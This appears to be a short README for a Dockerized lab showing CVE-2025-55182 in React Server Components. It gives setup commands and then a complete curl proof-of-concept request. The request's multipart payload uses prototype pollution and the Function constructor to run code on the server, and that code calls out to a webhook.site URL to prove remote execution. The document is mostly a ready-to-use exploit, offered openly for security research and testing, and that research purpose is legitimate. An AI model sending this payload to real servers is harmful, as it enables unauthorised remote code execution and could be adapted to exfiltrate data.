alexandre-briongos-wavestone/react-cve-2025-55182-labDockerized lab demonstrating CVE-2025-55182, a React Server Components vulnerability, with a proof-of-concept exploit for security research and testing.
git clone https://github.com/alexandre-briongos-wavestone/react-cve-2025-55182-lab
cd react-cve-2025-55182-lab
sudo docker build -t react-rsc-lab .
sudo docker run -p 3000:3000 react-rsc-lab
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:3000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad' -H $'Content-Length: 500' \
--data-binary $'\x0d\x0a------WebKitFormBoundaryx8jO2oVc6SWP3Sad\x0d\x0aContent-Disposition: form-data; name=\"0\"\x0d\x0a\x0d\x0a{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require(\'https\').get(\'https://webhook.site/bf68bcb8-2e7a-4fa8-9108-eb1a796a4ba5\');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\x0d\x0a------WebKitFormBoundaryx8jO2oVc6SWP3Sad\x0d\x0aContent-Disposition: form-data; name=\"1\"\x0d\x0a\x0d\x0a\"$@0\"\x0d\x0a------WebKitFormBoundaryx8jO2oVc6SWP3Sad--' \
$'http://localhost:3000/'